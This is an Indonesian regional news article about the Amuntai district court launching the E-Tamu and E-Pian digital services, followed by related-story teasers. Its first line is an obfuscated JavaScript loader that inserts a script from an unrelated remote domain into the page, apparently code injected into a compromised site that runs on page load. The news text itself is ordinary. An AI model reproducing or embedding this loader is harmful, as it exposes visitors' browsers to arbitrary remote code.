(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Meningkatan pelayanan dalam memberikan kemudahan kepada masyarakat pengguna layanan, Pengadilan Negeri (PN) Amuntai memperkenalkan layanan E-Tamu (elektronik tatap muka berbasis digital) dan E-Pian (elektronik permintaan salinan putusan).
Layanan E-Tamu merupakan layanan tatap muka berbasis digital yang memungkinkan pengguna layanan berkonsultasi secara virtual dengan terlebih dahulu melakukan pendaftaran secara online tanpa harus datang ke PN Amuntai.
Sedangkan layanan E-Pian merupakan layanan yang memungkinkan pengguna dapat mengajukan permintaan salinan putusan secara elektronik dengan melengkapi syarat dan ketentuan yang telah ditetapkan sesuai aturan berlaku.
Baca juga: Coblosan Ulang, Partai Lisa – Wartono Sesumbar Menang Lawan Kotak Kosong
Ketua PN Amuntai, Rubiyanto Budiman, mengatakan, peningkatan layanan ini merupakan salah satu komitmen PN Amuntai.
Layanan E-Tamu dan E-Pian merupakan upaya PN Amuntai untuk memberikan berbagai kemudahan kepada masyarakat pengguna mengakses layanan pengadilan.
“Tahun 2025 kami telah meluncurkan layanan E-Tamu dan E-Pian yang dapat digunakan oleh pengguna layanan dalam penerimaan pelayanan di Pengadilan Negeri Amuntai,” ujarnya, Rabu (25/2/2025).
Baca juga: Gegara Harta Gono-gini, Perempuan di Banjarmasin Laporkan Mantan Suami ke Polisi
Kedua layanan ini dapat menjadi pilihan bagi masyarakat pengguna layanan untuk dapat mengakses layanan yang ada di prngadilan secara digital berupa konsultasi secara virtual sehingga masyarakat dapat berkonsultasi tanpa perlu datang ke pengadilan dan juga pengajuan permohonan salinan putusan secara online dengan memenuhi syarat dan ketentuan yang berlaku.
“Layanan ini merupakan komitmen nyata bagaimana Pengadilan Negeri Amuntai terus berupaya memberikan kemudahan pelayanan kepada pengguna layanan,” ungkap Rubiyanto.
Dia menambahkan bahwa kedua layanan lahir dari hasil kreatifitas sumber daya yang ada di Pengadilan Negeri Amuntai dengan memperhatikan kebutuhan layanan dan kondisi geografis Kabupaten Hulu Sungai Utara.
Baca juga: Dinsos Banjarbaru Optimalkan Data untuk Layanan Kesejahteraan Masyarakat
“Layanan E- Tamu dan E-Pian lahir dari kreatifitas dua orang CPNS pada Pengadilan Negeri Amuntai yakni Muhammad Yusuf dan Nur Fadhilah, yang setelah melalui berbagai tahapan dipandang tepat untuk diterapkan dengan menitikberatkan pada kebutuhan pengguna layanan dan karakteristik kondisi geografis yang ada pada Kabupaten Hulu Sungai Utara,” imbuhnya.
“Dengan berlakunya kedua layanan ini tentunya akan meningkatkan efektifitas dan efisiensi dalam pemberian pelayanan kepada pengguna layanan,” pungkasnya.(Kanalkalimantan.com/dew)
Reporter: dew
Editor : bie
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
This website uses cookies.